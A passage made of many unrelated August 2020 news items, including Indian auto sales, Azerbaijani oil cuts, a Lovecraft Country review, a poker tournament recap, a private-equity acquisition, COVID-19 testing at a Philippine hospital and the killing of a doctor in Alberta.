about what that represents: the basic and fundamental human right of being able to participate in the choices for your future and that of your community, the involvement and voice that allows you to be a part of the very world that you are a part of." New Delhi, Aug 12 : In continuation of its initiative to fight the Covid-19 pandemic, OYO Hotels and Homes has partnered with over 24 state governments, local authorities and hospitals under the 'OYO Care' initiative to offer some of its properties for pay-per-use quarantine and self-isolation facilities at affordable prices. In a statement, OYO said that it is in touch with over 50 government and private hospitals to provide accommodation support to medical first responders at affordable rates. "The company has already provided 1,00,000 room nights as part of the 'OYO Care' initiative in the past four months. The hospitals which have been supported by OYO include Safdarjung Hospital, Dr Ram Manohar Lohia Hospital and Sakra Hospital," it said. OYO Life, the co-living business of the company, is also offering long-term stay to the nurses and healthcare professionals through tie-ups with multiple-hospitals, it said. Commenting on the development, Rohit Kapoor, Chief Executive Officer, India and SouthAsia, OYO, said: "This Independence Day, I would like to laud the combined efforts of the government, the India Inc and the citizens of the country who have contributed in the fight against the virus. We at OYO pledge to continue supporting the nation with our resources in every way possible." While vehicles production numbers struggled to make a recovery in July, improved sales in the month seems to have brought cheers to the badly-hit auto industry, the latest Society of Indian Automobile Manufacturers (SIAM) data suggests. The total production of passenger vehicles, three-wheelers, two-wheelers and quadri-cycle fell 29.36 per cent year-on-year to 1,715,514 in July against 2,428,518 units in July 2019. In terms of domestic sales, PV sales stood at 182,779 units in July 2020 compared to 190,115 units during the same month last year, marking a drop of 3.86 per cent. The PV sales stood at 105,617 units in June. "The month of July was significantly better than the preceding months and it instilled some confidence into the industry. Many OEMs (original equipment manufacturers) have registered improved sales vis-a-vis the past few months, and this brings back a sentiment of resolve to the sector," Rajesh Menon, Director General, SIAM, said. Sale of automobiles in India had crashed by over 40 per cent in June as a broken supply chain impaired the ability of companies to manufacture cars and two wheelers. The sales have crashed by a steeper 75.5 percent in the first quarter of this fiscal, the worst performance for a three-month period, as no business could be conducted for the full month of April and for almost half of May. While three-wheeler sales declined 77.16 per cent to 12,728 units YoY in July, two-wheeler sales stood at 1,281,354 units, recording a 15.24 per cent fall in sales. In terms of Q1 production, total 3,173,169 units were manufactured in the April-July quarter against 9,408,000 units during the same period last year. This is around 66.27 per cent decline in sales. Domestic PV sales declined 62.73 per cent in Q1 to 336,513 units versus 902,799 units in Q1 of FY19, while three-wheeler sales recorded a sharp 87.60 per cent drop at 25,488 units yoy in the quarter. The two-wheeler sales in Q1 stood at 2,574,467 units, a 60.54 per cent fall as compared to the same period last year. Rajan Wadhera, SIAM President, said after few consecutive of months of plummeted sales in a post-Covid scenario, there are signs of green-shoots in PVs and two-wheelers category. These two segments posted much lesser YoY de-growth compared to the previous months. "The sales numbers in the month of August would indicate, if this is a sustainable demand and not just a pent-up demand," said Wadhera. Also read: Auto sales crash over 40% in June, normalcy to return only by 2023-24, says SIAM By Ayya Lmahamad Azerbaijan will reduce its oil production by about 2.7 million tons within the OPEC+ agreement, Finance Minister Samir Sharifov said in an interview to a local TV on August 10. Sharifov stated that as a result of lower demand due to the coronavirus pandemic, the world faced a sharp decline in oil prices in April, amounting to $12-20 per barrel. However, he noted that the new OPEC+ agreement allowed a slight stabilization of the oil prices over the last couple of months. It should be noted that in April 2020, OPEC and non-OPEC countries entered into agreement on reduction of daily oil production by 9.7 million barrels in May-June and 164,000 barrels for Azerbaijan. Moreover, the minister stated during the last 7 months there was a reduction in the countrys oil revenues, as the average oil price in the world was $40 per barrel, and the state budget revenues of Azerbaijan were calculated from the oil price of 455 per barrel. Additionally, he noted that as part of the OPEC+ agreement, Azerbaijan has made commitments to reduce oil production. Thus, implementation of these commitments will lead to a reduction in production by 2.7 million tons, including 420,000 tons by SOCAR, and other part will fall on the consortium (Azeri-Chirag-Guneshli block of fields). Thus, taking all these into account, it was decided to revise the base price of oil in the state budget and reduce it to $35 per barrel. As a result, the state budget of Azerbaijan will receive by AZN 390 million less from oil sector than planned in 2020. It should be noted that within the framework of OPEC+ daily oil production reduction by 9.7 million barrels, Azerbaijan reduced production of crude oil by 163,900 barrels per day in July. According to the Declaration on Cooperation, Azerbaijan produced 718,000 barrels of crude oil per day in October 2018, while in May-July this year the country must maintain the average daily production of crude oil at 554,000 barrels. To meet these obligations, daily crude oil production should be reduced from 567,000 barrels per day at Azeri- Chirag-Guneshli field to 434,000 barrels, and for SOCAR from 151,000 to 120,000 barrels. On July 31, the first phase of the OPEC+ agreement of April 12 to reduce daily oil production by 9.7 million barrels was completed. In the second phase of the agreement, covering the period from August 1 to December 31, the daily production of crude oil in OPEC+ countries will be reduced by 7.7 million barrels, which is 18 percent less than in October 2018. During this period Azerbaijan should reduce daily crude production by 131,000 barrels and keep it at 587,000 barrels. Thus, during this period Azerbaijan's restrictions on daily production of crude oil will be reduced by 33,000 barrels compared to the previous three months. At the meeting of OPEC and OPEC+ countries on June 6, it was decided to extend the quota until the end of July. Azerbaijan is fulfilling its obligations under OPEC+ agreement. Thus, the average daily oil production in May amounted to 650,000 barrels, in June to 553,800 barrels and in July to 650,100 barrels. Moreover, earlier in July, the Organization of Petroleum Exporting Countries (OPEC) has increased the assessment of confirmed gas reserves in Azerbaijan to 1.718 billion cubic meters in 2019, which is by 19.7 percent more than in 2018. According to the report, proven crude oil reserves in Azerbaijan are estimated at 7.000 million barrels in 2019. --- Follow us on Twitter @AzerNewsAz Google Maps Robert Rivard knows people pay a premium to get their names on buildings. But Rivard "watched with pride" as his name was removed from a St. Paul Square office this week. The Rivard Report has a new name, the nonprofit news site's editor and publisher announced Monday. The publication will now be known as the San Antonio Report. Like Watchmen before it, the new HBO series Lovecraft Country is a bold, sometimes brilliant blend of genre-inspired action and social commentary about Americas history of racism. But while Watchmen took as its starting point the classic, dystopian graphic novel about, among other subjects, the darker side of superheroes, Lovecraft Country plunges into horror, sci-fi, pulp fiction, adventure, and ghost story conventions. Lovecraft Country often feels like its all over the place, but its definitely not boring. And the theme that runs throughout that racism against Black Americans is every bit as monstrous as supernatural creatures bent on mayhem comes through loud and clear. Though the HBO series owes a debt to Matt Ruffs 2016 novel, and was produced prior to the coronavirus pandemic and protests following the killing of George Floyd, our current atmosphere of generalized dread and shameful recognition of injustice makes Lovecraft Country feel like the perfect show for this traumatic moment. Set in the mid-1950s, Lovecraft Country begins with Atticus (Jonathan Majors), a fantasy fiction-loving Korean War veteran who returns to his old neighborhood to try to locate his father, Montrose (Michael Kenneth Williams), whos missing. Accompanied by his now-grown friend from school days, Leti (Jurnee Smollett), and his Uncle George (Courtney B. Vance), who publishes a Green Book-style guide to travel stops that welcome African Americans, Atticus heads out in search of his father. But the trip is filled with dangers, as the three encounter sneeringly racist white people who are willing to take up guns to enforce rules ordering Black people be out of their town by sundown. As if the Jim Crow-era segregation and discrimination werent horrific enough, Atticus, Leti and Uncle Georges quest takes them to a mysterious mansion. It turns out theres a connection between Atticus and the Aryan-looking creeps at the mansion, who are part of a magical secret order called the Sons of Adam. Before they know it, Atticus, Leti and Uncle George are running for their lives from deadly humans and monstrous beasts of the sort dreamed up by novelist H.P. Lovecraft, known for his sci-fi/horror concoctions, and white supremacist beliefs. The trios unpleasant surprises at the mansion are just the beginning, as the five (of a total of 10) episodes provided for advance screening find the characters dealing with a haunted house, racist neighbors on the north side of Chicago, Goonies-style adventure, more monsters, magic, police brutality, family drama, personal secrets, blood and gore galore. Courtney B. Vance, Jonathan Majors and Jurnee Smollett in HBO's "Lovecraft Country." (Photo: HBO) TNS Even when things get a tad chaotic, the casts charisma and expert performances keep us watching. Majors (The Last Black Man in San Francisco) makes us believe that Atticus is now living the kind of cliffhanger story he loved, but which never featured a Black man like him as the hero. Smollett is sensational as Leti, flawed but fearless, and so daring she runs into danger, saving the day on more than one occasion. Courtney B. Vance, Jonathan Majors and Jurnee Smollett in "Lovecraft Country." (Photo: Elizabeth Morris/HBO) Majors and Smollett arent just talented, they both look amazing, sporting stylish, 50s-tailored attire that might make Mrs. Maisel feel like a frump. Theyre joined by equally gifted costars, including Wunmi Mosaku, Aunjanue Ellis, Abbey Lee and Jordan Patrick Smith. Executive producer, writer and showrunner Misha Green (Underground) gives Lovecraft Country a propulsive energy, and the top-drawer team, which includes executive producers including J.J. Abrams (Star Wars: The Rise of Skywalker) and Jordan Peele (Get Out), all contribute to making Lovecraft Country look fantastic, with blockbuster special effects, and a rich visual style. The soundtrack is practically a character in itself, with an innovative mixture of spoken-word excerpts (by James Baldwin and others), vintage tunes, contemporary hits, and out-of-the-blue choices, like the Movin On Up theme from The Jeffersons. Its all dazzling, if sometimes disorienting. After five episodes, its hard to know where Lovecraft Country is going. But even if it careens off the rails, the show has so much creativity and passion its a ride worth taking, wherever it leads. Lovecraft Country premieres at 9 p.m. Sunday, Aug. 16 on HBO. More of our coverage: Lovecraft Country stars talk about monsters -- racist humans and supernatural creatures -- in the HBO drama In a new special, Portland Top Chef veteran Gregory Gourdet, other Bravo TV stars discuss racism Subscribe to our What to Watch newsletter. Email: -- Kristi Turnquist kturnquist@oregonian.com 503-221-8227 @Kristiturnquist Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. 2020 WSOP GGPoker Hands of the Week: Dvoress Plays for the Win, Not the Ladder August 11, 2020 Chad Holloway The 2020 World Series of Poker (WSOP) online bracelet events are running now through September 6th. The series is comprised of 85 WSOP gold bracelets on the digital felt across two different clients: WSOP.com and GG Poker. Each week, well highlight a Hand(s) of the Week, which very well could include bad beats, lucky suck outs, and game-changing swings. In the first week of the 2020 WSOP online series, we shared two big hands played by Playing for the Win After a weeklong hiatus, the final table of the 2020 WSOP GGPoker Event #48: $1,500 Millionaire Maker played out this past Saturday as the final nine runners in a 6,299-entry field battled it out for a $1,489,289 first-place prize plus the shiny gold bracelet. However, the structure resulted in a bunch of incredibly short stacks at the final table. Even the chip leader, Daniel Dvoress, had only 30 big blinds, while the average stack sat at just 11 bigs. As PokerNews own Mo Nuwwarah pointed out in his in-depth feature on Dvoress: Even a brief run of bad luck could see Dvoress out in a flash. Luckily for the high-stakes vet, he can draw from some relevant experience, though he'll have to dust off skills he seldom uses these days. He specialized in hyper-turbo sit-n-gos several years back, which made him comfortable playing shallow-stacked poker. Indeed, Dvoress did draw from that experience on his way to winning the title, the seven-figure prize, and his first WSOP bracelet. The Canadian put on a clinic of what it means to aim for the win as opposed to trying to simply ladder up. As a textbook example of how ICM affects final tables, the players competed into very shallow waters right off the bat with five out of nine stacks starting off below the 10 big blind mark, the PokerNews recap of his victory reads. With each jump being worth at least $40,000, laddering up was on many a player's mind, which resulted in plays like Ronny Kaiser folding his blinds to leave himself half a big blind. Dvoress, meanwhile, put his chip lead to work, relentlessly flinging his chips around to put the pressure on the other finalists. Below is a look at some of the hands that helped propel Dvoress to victory. Scoring His First Final Table K.O. Dvoress maintained his big stack at the final table despite not getting a knockout until six players remained in Level 30 (2,000,000/4,000,000/400,000). It happened when Neville "NevSlater" Endo Costa raised to 8,000,000 from early position, leaving a little over a million behind. Dvoress was in the big blind and reraised to get the remainder in the middle. Neville "NevSlater" Endo Costa: Daniel Dvoress: The flop have Dvoress the lead and he locked up the hand when the turn improved him to a full house. The meaningless was run out on the river and Endo Costa exited in sixth place for $288,356 while Dvoress added to his lead. Steamrolling the Final Table From there is was all Dvoress as he proceeded to singlehandedly eliminate the rest of the competition all in the same level. First, he won a flip with pocket eights against the queen-jack of Alejandro pepealas Caridad and then used five-four to make a full boat to best the ace-deuce of Michael MrFabulous Nugent, who bowed out in fourth place for $556,095. With three players remaining, it was Level 31 (2,500,000/5,000.000/500,000) when Anatoly "Mr_Deer" Filatov moved all in on the button for a little over 40 million and Dvoress called to put him at risk from the small blind. Anatoly "Mr_Deer" Filatov: Daniel Dvoress: The board failed to improve the Russian pro, leaving Dvoress and Caio De Almeida heads-up for the bracelet. Two hands later it was all over. Anatoly Filatov Final Hand of the Tournament In the first hand of heads-up play, Dvoress and De Almeida saw a flop of together. De Almeida checked, Dvoress bet 5,000,000, and De Almeida check-raised to 13,000,000. Dvoress shoved and the Brazilian folded. Left with just a little over 25 million, those chips quickly flew in the middle in the subsequent hand. Dvoress beat him to the pot with a call. Caio "Ez4ENCE" De Almeida: Daniel Dvoress: The flop left Almeida in need of an eight or runner-runner help. The turn opened up a straight draw as well, but after a lengthy peel, the river card came up short with the to eliminate De Almeida in second place as a millionaire for $1,072,428. The combination of short stacks and a fast structure suggested thered be a lot of variance, so Dvoress start-of-the-day chip lead was far from a guarantee that hed actually win. However, that lead combined with his experience and willingness to put the pedal to the metal while others mayve pulled back a bit in the hope of laddering up proved to be the winning recipe he needed. Follow PokerNews live updates from the 2020 WSOP GGPoker here. NEW YORK, Aug. 11, 2020 /PRNewswire/ Arsenal Capital Partners ("Arsenal"), a specialized private equity firm investing in healthcare and industrials companies, has completed the acquisition of Cello Health plc ("Cello Health"), the global healthcare-focused advisory firm, for a total enterprise value of 181.8 million. The acquisition of Cello Health provides the foundation for a new enterprise to enable healthcare and biopharmaceutical clients to maximize the value of their products. In doing so, it aims to help clients accelerate and optimize patient access to medical and technological advances that have a transformative effect on patient's lives. Through a series of investments to acquire, invest in and develop best-in-breed companies, the new enterprise that is backed by Arsenal is assembling a differentiated set of capabilities across critical domains including strategy and insights, evidence generation, data and analytics, and communications all rooted in world-class science and enabled by the latest technology. Cello Health's capabilities and culture are highly complementary with those of BresMed, a leader in health economic research and submissions to payers, which was acquired by Arsenal in February 2020. Jon Williams, CEO of Arsenal's new enterprise, said: "We are delighted to complete the acquisition of Cello Health as the foundation of this ambitious enterprise. I'm proud to be associated with a company that has such an exceptional reputation, a rare combination of commercial and scientific credentials, and a culture that's dynamic and collaborative. The opportunity in front of us is significant and exciting. Our clients are developing and commercializing new products in a world that's complex, uncertain and often risky. But medical science and technology are moving quickly, leading to major breakthroughs and numerous opportunities. We are creating an enterprise that supports better strategic decisions, generates robust data and evidence, undertakes advanced analytics to draw out critical insights, and supports communication with a range of critical stakeholders. We look forward to working with our new colleagues as we embark on the next important phase of our journey." Mark Scott, CEO of Cello Health, said: "Today's announcement marks an exciting moment for Cello Health. We have a shared belief with Arsenal that clients need a partner that combines industry expertise, commercial experience, scientific depth, and cutting-edge technology and data. We're confident that we can accelerate growth by expanding support for our clients, investing in innovation, and continuing our ambition to become a world-class, truly global company." Gene Gorbach, Investment Partner of Arsenal, said: "We are excited that Cello Health's management and employees will be at the heart of this critical effort to build a market-leading enterprise. We look forward to leveraging Arsenal's capabilities in North America and Europe to achieve our shared vision for Cello Health as a foundation for a new company that will enable clients to achieve commercial success with their products, and for patients to gain access to life-changing innovations." Ropes & Gray International LLP provided legal advice to Arsenal. Marriott Harrison LLP provided legal advice to Cello Health. Greenhill acted as financial adviser, and Cenkos acted as nominated adviser and broker, to Cello Health. Rothschild & Co acted as financial adviser to Arsenal. About Cello Health Cello Health is a global healthcare-focused advisory firm comprised of a set of leading scientific, commercial advisory and digital delivery capabilities. Cello Health currently services 24 of the top 25 pharmaceutical clients globally, as well as a wide range of biotech, diagnostics, devices and other key non-healthcare clients. Cello Health enables clients to commercialise, differentiate their assets, and drive brand success in ever more complex global markets. The business delivers its services through nearly 1,000 highly skilled professionals, utilising latest thinking, technology and digital solutions. Cello Health delivers its services from an office network in the UK and USA, with hub offices in New York City, Philadelphia, New Jersey, London, Edinburgh, and Farnham. For further information, please visit: www.cellohealth.com. About Cello Health acquisition Under the terms of the acquisition, which completed today, 11 August 2020, Cello Health shareholders were entitled to receive 161 pence in cash for each Cello Health share. The acquisition valued the entire issued and to be issued share capital of Cello Health for approximately 178.8 million. This represents a premium of approximately 28.3 percent to the volume weighted average price per Cello Health share of 125.4 pence in the six months to 30 June 2020. The total enterprise value of the acquisition is 181.8 million, as a result, the acquisition represents an implied enterprise value multiple of approximately 12.3x Cello Health adjusted EBITDA of 14.8 million for the year ended 31 December 2019. The Scheme became effective today, following being sanctioned by the Court, and the delisting of Cello Health shares is expected to take place in due course. About Arsenal Arsenal is a leading private equity firm that specializes in investments in middlemarket specialty industrials and healthcare companies. Since its inception in 2000, Arsenal has raised institutional equity investment funds of $5.3 billion, completed more than 45 platform investments and achieved more than 30 realizations. Arsenal invests in industry sectors in which the firm has significant prior knowledge and experience. The firm works with management teams to build strategically important companies with leading market positions, high growth, and high valueadd. For more information, please visit. About BresMed BresMed, which was acquired by Arsenal in 2020, is a health economic and outcomes research consultancy that provides health economic solutions to the global pharmaceutical industry. Established in 2006, BresMed has more than 150 staff across offices in the U.K., Ireland, the Netherlands, the U.S., and India who work to support clients with drug, device, and diagnostic products to reach markets at the best possible price. BresMed's services span the full product development pipeline, allowing it to support its clients from initial portfolio planning, strategy development, and health technology assessment through to post-launch value demonstration in multiple jurisdictions. For more information, please visit www.bresmed.com. SOURCE Arsenal Capital Partners The World Health Organization said Tuesday said it was holding talks with Russia regarding its recently approved COVID-19 vaccine. Russia on Tuesday became the first country to approve a vaccine for use on tens of thousands of its citizens. In an appearance on Russian television, President Vladimir Putin claimed the vaccine has proven efficient and has passed "all the necessary tests." Russian President Vladimir Putin chairs a meeting with members of the government via video link at the Novo-Ogaryovo state residence outside Moscow, Russia, Aug. 11, 2020. (Sputnik/Aleksey Nikolskyi/Kremlin) He said his own daughter has taken the vaccine and after two shots had a normal temperature and a "high number of antibodies." The announcement came amidst global skepticism because the vaccine received approval after less than two months of human trials in Russia with a limited number of test subjects. "We are in close contact with Russian health authorities and discussions are ongoing with respect to possible WHO prequalification of the vaccine, but again prequalification of any vaccine includes the rigorous review and assessment of all required safety and efficacy data," WHO spokesman Tarik Jasarevic told a U.N. briefing in Geneva. Jasarevic says he is encouraged by the speed in which possible vaccines are being developed around the world. He said the WHOs main concern is equitably distributing whatever viable vaccines are developed around the world. SAN FRANCISCO, Aug. 10, 2020 /PRNewswire/ -- Hagens Berman urges Eastman Kodak Company (NYSE: KODK) shareholders to contact the firm now. Relevant Holding Period: Before Aug. 10, 2020 - Present Visit: www.hbsslaw.com/investor-fraud/KODK Contact An Attorney Now: [email protected] 844-916-0895 Eastman Kodak Company (KODK) Investigation: The investigation centers on whether Kodak's board of directors breached its fiduciary duties related to the disclosure of the company obtaining a $765 million U.S. government loan. Specifically, on July 27, 2020 news leaked that Kodak had received a letter of intent for a $765 million government loan under the Defense Production Act to help expedite domestic production of drugs that can help treat a variety of medical conditions and loosen U.S. reliance on foreign sources. This news, which emerged one day before the company was scheduled to publicly announce the loan, caused Kodak's shares to skyrocket on heavy volume. But on July 29, 2020, The Wall Street Journal reported that Kodak itself had sent a news advisory about the $765 million loan to media outlets in Kodak's hometown of Rochester, New York, without indicating the information was not intended to be released publicly. This caused local reporters to publish favorable stories and tweets about the loan, which were subsequently deleted. That same day, it was also reported that on July 27, 2020, Kodak's board of directors granted several insiders options to purchase approximately 1.885 million shares of the company's common shares. These insiders include Executive Chairman and CEO James V. Continenza, who received options to purchase 1.75 million shares, and CFO David E. Bullwinkle, who received options to purchase 45 thousand shares. Since this time, it has been reported that the SEC is investigating Kodak's controlled disclosure of the loan and whether any illicit trading occurred before the loan announcement. Moreover, on Aug. 9, 2020, the U.S. International Development Finance Corp. announced that it has put the loan on hold pending probes of alleged wrongdoing. "We're examining whether Kodak's Board breached their duty of loyalty in publicly disclosing the loan and granting insiders rich stock options," said Reed Kathrein, the Hagens Berman partner leading the investigation. If you are a Kodak shareholder, click here to discuss your legal rights with Hagens Berman. Whistleblowers: Persons with non-public information regarding Kodak should consider their options to help in the investigation or take advantage of the SEC Whistleblower program. Under the new program, whistleblowers who provide original information may receive rewards totaling up to 30 percent of any successful recovery made by the SEC. For more information, call Reed Kathrein at 844-916-0895 or email [email protected]. About Hagens Berman Hagens Berman is a national law firm with nine offices in eight cities around the country and eighty attorneys. The firm represents investors, whistleblowers, workers and consumers in complex litigation. More about the firm and its successes is located at hbsslaw.com. For the latest news visit our newsroom or follow us on Twitter at @classactionlaw . Contact: Reed Kathrein, 844-916-0895 SOURCE Hagens Berman Sobol Shapiro LLP Related Links https://www.hbsslaw.com Metro Manila (CNN Philippines, August 11) The coronavirus pandemic is a battle that can be won through policies based on science and strategies which align with the perceived needs of frontliners, the Philippine General Hospital said. Out of its 4,871 personnel tested in June, only 99 or two percent turned out positive for COVID-19 despite high risks of contracting the virus, according to a paper published by the PGH on Wednesday. Among its 1,794 healthcare workers who directly handled coronavirus patients, only 26 or 1.4 percent were infected. What helped in lowering the infection rate among the PGH community? The university hospital-turned COVID-19 center said operations must be scientific, implemented with calculated precision and evaluated objectively. Stop using rapid antibody tests In its policy paper, the hospital underscored the need to assess implemented measures to weed out what doesnt work. Rapid antibody testing, for instance, didnt prove to be as beneficial in its COVID-19 operations, the PGH said. It only detected 20 percent of the hospital personnel eventually confirmed positive for COVID-19 by the gold standard RT-PCR tests. In other words, four out of five infections were missed. RELATED: Use of rapid tests in workplaces may have led to rise of COVID-19 cases, says doctor The level of sensitivity at 20% for PGH is too low to be of any value, the PGH said. The number of potential missed cases of 80% is too dangerously high to even consider RAT as a screening tool. It echoed the call of various medical groups not to use rapid tests in clearing individuals to return to work. RELATED: PH will not ban use of rapid tests, but DOH to issue clear guidelines The PGH also said routine mass testing of health workers every two weeks have not been feasible due to the cost, operational and logistical limitations. Although the kits used were mostly donations, the hospital noted that testing 4,871 individuals in its June hospital-wide surveillance cost over 18.5 million. On top of that, 112 hours had been spent to complete the process. This massive manpower requirement for a routine testing will be taxing to a system with competing needs, it said. Instead, the hospital recommended a low-threshold targeted testing for those who exhibit coronavirus symptoms, those with high-risk exposure, and those who feel they need to be tested. It added that the testing procedure should be made an opportunity for counselling and to reinforce information about the disease, as it noted that not all HCWs would have the same level of COVID-related knowledge. Further, the PGH said these other practices have proven to be most effective in its COVID-19 operations: a crisis command center, a unified call center for patient queries and donations, cohort set-up of confirmed patients, zoning of the entire hospital, controlled ventilation system, and immediate contact tracing. The most valuable resource in the COVID-19 fight Healthcare workers do more than just tend to those infected; they safeguard the rest of the population from the contagion, making them the most valuable resource in this health crisis, the PGH said. According to the hospital, healthcare workers' concerns must be taken into consideration in planning out strategies, and the administration must ensure that appropriate support is extended to assist them in their tireless fight. Our HCWs call for fair compensation, salary adjustments and unpaid hazard pay are all justified complaints and urgent needs, the PGH said. Administration should reassure staff that these are already in the process of being addressed. It also advised on-site access to RT-PCR testing with a 24-hour turnaround time, a workplace university clinic, housing and transportation for staff, and ensuring all personnel have personal protective equipment. As of August 9 data by the Department of Health, 5,551 healthcare workers in the country have tested positive for COVID-19. Of this number, 610 are active cases or currently ill, after 4,902 have recovered and 39 have died. The COVID-19 pandemic is here to stay for a few more months, the PGH said. Let us gather our best practices and continue to learn from each other. We are one with the World Health Organization when it states what we need to get through this pandemic are: science, solutions, and solidarity." (Photo : Twitter: Tesla (@Tesla)) (Photo : (Photo by Justin Sullivan/Getty Images)) PALO ALTO, CA - NOVEMBER 05: A sign is posted at a Tesla showroom on November 5, 2013 in Palo Alto, California. Tesla will report third quarter earnings today after the closing bell. Elon Musk's Tesla is rumored to be on the works in delivering its clean energy products right into your doorstep! Famous American Electric Vehicle Manufacturer and Clean Energy Company, Tesla, is reportedly on the works to include its Powerwall and EV charger in creating an energy 'home package' that aims to sell on European households. Electrek reported that Tesla is seemingly 'testing waters' in the German market. Its new proposal of a 'bundled' home package aims to bring the Powerwall and EV Charger into people's homes. Tesla is making a buzz in stepping up its products in the clean energy program by expanding its solar and energy storage business. The company is now testing the European market with hopes to provide clean home energy with its innovative clean energy. PV Magazine reports that if ever the Tesla project will provide homes with electricity, it would face a lot of competition in the European market. Providers such as Lichtblick, Polarstern, EWS Schonau, Greenpeace Energy, and many more. However, the magazine website also noted that Tesla would provide stiff competition to existing energy providers as the American company holds a considerable number of "brand" loyal customers and fans in the region. Moreover, Tesla bundles this with its EV charger, and Tesla-made electric vehicles are rising in popularity, being the forefront in the EV market. ALSO READ: Take a Glance at Elon Musk's Stunning Car Collection, From Classic to Ultra-Modern Vehicles The Tesla Survey PV Magazine Germany shares a couple of details taken from the questionnaire that shows Tesla's intent in providing their services in the current market in Europe. The magazine website also shared that the survey asks customers what would be the reason to convince them to change or switch energy providers willingly. Tesla also hinted in their questionnaire a bundle combination of solar panels, storage, EV charger, and green electricity products of the company. In addition, Tesla enters with a situational question to possible customers of their preference, asking: "Suppose your car is charged every morning to meet your daily needs. Under what conditions would you allow Tesla to control the charging time of your car so that it is charged for your daily needs and to offer you a cheaper electricity tariff?" Options include: "If there is a clear financial advantage for me," "If there are other advantages such as free or cheaper charging at home or on public charging stations," and; "If it helps to increase the share of renewable energies in the energy mix." Tesla's Clean Energy Product 'Bundle' Elon Musk is continuously updating the world of its new products and innovations of his clean energy company but not of this expansion. Maybe their market study is still not done in any way and still needs to research the viability in the European and German Market. With that being said, here is a short list of what composes the Clean Energy 'Home Package' that Tesla aims to introduce in Germany: EV Charger -The home charger for Tesla's Electric Vehicles that provide fast charging -The home charger for Tesla's Electric Vehicles that provide fast charging Powerwall - a standard battery home kit that pairs with Tesla's solar panels, storing massive amounts of clean, renewable energies with solar receivers. This works as a "quiet" generator once power mains shut off. - a standard battery home kit that pairs with Tesla's solar panels, storing massive amounts of clean, renewable energies with solar receivers. This works as a "quiet" generator once power mains shut off. Solar Roof -Tesla's solar paneling product that is designed to look like regular roof tile but, in turn, acts as a solar receiver that powers electrical appliances at home and stores energy. ALSO READ: Researchers Develop AI Bird Watcher to Explain Why Thousands of Birds Are Found Dead in Solar Farms in the US This article is owned by Tech Times Written by Isaiah Alonzo 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. When it comes to returning to offices, employees from recreation and travel, and consumer goods industries are the most eager. Transportation and logistics, and media and communications professionals are the most wary about returning to offices to work. LinkedIn's Workforce Confident Index has stated that 46 per cent of professions from the recreation and travel industry, and 39 per cent from the consumer goods industry are eager to return to their workplace. However, around 65 per cent employees from the IT industry and 61 per cent employees each from media and communications, and transportation and logistics are not very keen to return to their workplace. The respondents believe that the exposure to people not taking the guidelines seriously is a concern. In fact, 33 per cent employees in logistics and 25 per cent employees in the IT industry say that lack of workplace sanitisation or cleanliness is dissuading them from going to their workplaces. The Workforce Confidence Index also stated that the overall confidence in India is a steady rise. "India's overall confidence is on a steady rise, with a composite score of +53 (up from +50 in the fortnight of June 15-28). The survey also reveals India's growing confidence towards personal finances, with nearly 1 in 3 professionals anticipating their personal savings to increase, while 2 in 5 expect their personal spending to stay the same in the next 6 months," said the report. Small business employees have also witnessed a lift in their overall individual confidence levels up from +49 to +58 since June 15-28. Confidence towards finances has also increased from +35 to +51 since June 15-28. However, employees are not very confident about job security. "SMB employees (1-200 workers) are less confident about holding on to their jobs than large enterprise workers (10,000 or more employees). With low cash reserves and on-off lockdowns across several cities, business sustenance for SMBs continues to be a challenging affair," it said. The report is based on the responses of 5553 professionals in India from June 1 to June 26. Also read: Job seekers more optimistic about hiring prospects as economy rebounds: LinkedIn survey Also read: LinkedIn axes 960 jobs as coronavirus freezes corporate hiring RED DEER, ALTA.A man accused of killing a family doctor had a plan and a target in mind when he showed up at a walk-in clinic in central Alberta, RCMP said Tuesday. Deng Mabiour of Red Deer, Alta., faces a charge of first-degree murder in the death of Dr. Walter Reynolds, a 45-year-old father of two. The 54-year-old suspect is also charged with assault with a weapon and assaulting a police officer. This was not a random attack, RCMP Supt. Gerald Grobmeier told a news conference. Many of the 13 people who were in the clinic at the time showed bravery during the violence, he added. Dr. Reynolds colleagues as well as members of the public in the clinic acted quickly to come to the aid of the victim and to minimize harm to others. Grobmeier said RCMP received a 911 call reporting an assault in progress at the Village Mall Walk-in Clinic just after 11 a.m. Monday. Officers arrived within minutes. Reynolds was rushed to hospital, where he was pronounced dead. Grobmeier would not say what weapons were used in the slaying, but a witness told media outlets that a man had a machete and hammer. Mabiour was arrested at the scene. He is to appear in court Wednesday. Grobmeier said Reynolds and Mabiour knew each other through the clinic. The officer would not say whether the accused was a patient, citing confidentiality. He also declined to discuss a possible motive to ensure Mabiour receives a fair trial. Grobmeier said he could provide no details on whether mental illness or intoxication were factors. He said Mabiour was not previously known to police. Deng Wil Luol Deng, who lives in South Sudan but knows Mabiour from the South Sudanese community in Red Deer, said he is shocked by the allegations. I am very sorry and very sad about what happened, he said in a Facebook message to The Canadian Press. We still dont know why. During the arrest, one officer was struck with a blunt weapon and was treated for minor injuries, Grobmeier added. Obviously hes struggling emotionally with what happened yesterday, so that officer is at home recovering. Court documents detailing the charges against Mabiour say he is accused of carrying, using or threatening to use a machete or an imitation against Dr. Stephen Nel, another physician listed as working at the clinic. Grobmeier said that doctor was not physically harmed. A GoFundMe page was set up to raise funds for the education of Reynolds young daughters. By Tuesday afternoon, it had raised $94,000. There was a growing display of flowers and cards, along with a photo of a smiling Reynolds, outside the clinic. A medical face mask was tied to a lamp post among the bouquets. To friends and colleagues. We stand with you. Praying for all, said one written message. Dr. Peter Bouch, who works at another Red Deer clinic, said he and Reynolds were both part of a tight-knit community of doctors in the city who are originally from South Africa. He described Reynolds as a dedicated physician and all-around good guy. Its a shock to the whole of Red Deer, not only to the physicians, but also to the many medical staff that work in our clinics, he said. And I think a lot of them are looking over their shoulder today and are quite anxious. Bouch said he has heard from other physicians concerned about aggression from patients, though none of those cases have been nearly as extreme as Reynolds slaying. I think some of us need to speak to the mayor and we need to speak to the RCMP and try and figure out a way of making our exam rooms, our offices, a safe place both for patients and for ourselves. Read more about: Source: Xinhua| 2020-08-11 19:52:07|Editor: huaxia Video Player Close JINAN, Aug. 11 (Xinhua) -- China on Monday launched the second phase of an underwater survey on a Chinese battleship sunk in the Yellow Sea by the invading Japanese fleet in 1894. The survey work is in progress on the Liugong Island in east China's Shandong Province. An underwater heritage survey was initiated in the Weihai bay in 2017, and in 2018, a shipwreck site was discovered. Archaeologists believe the site is the wreck of the Dingyuan Battleship, the flagship vessel of the Qing Dynasty's (1644-1911) Beiyang Fleet, which was purchased from Germany. In 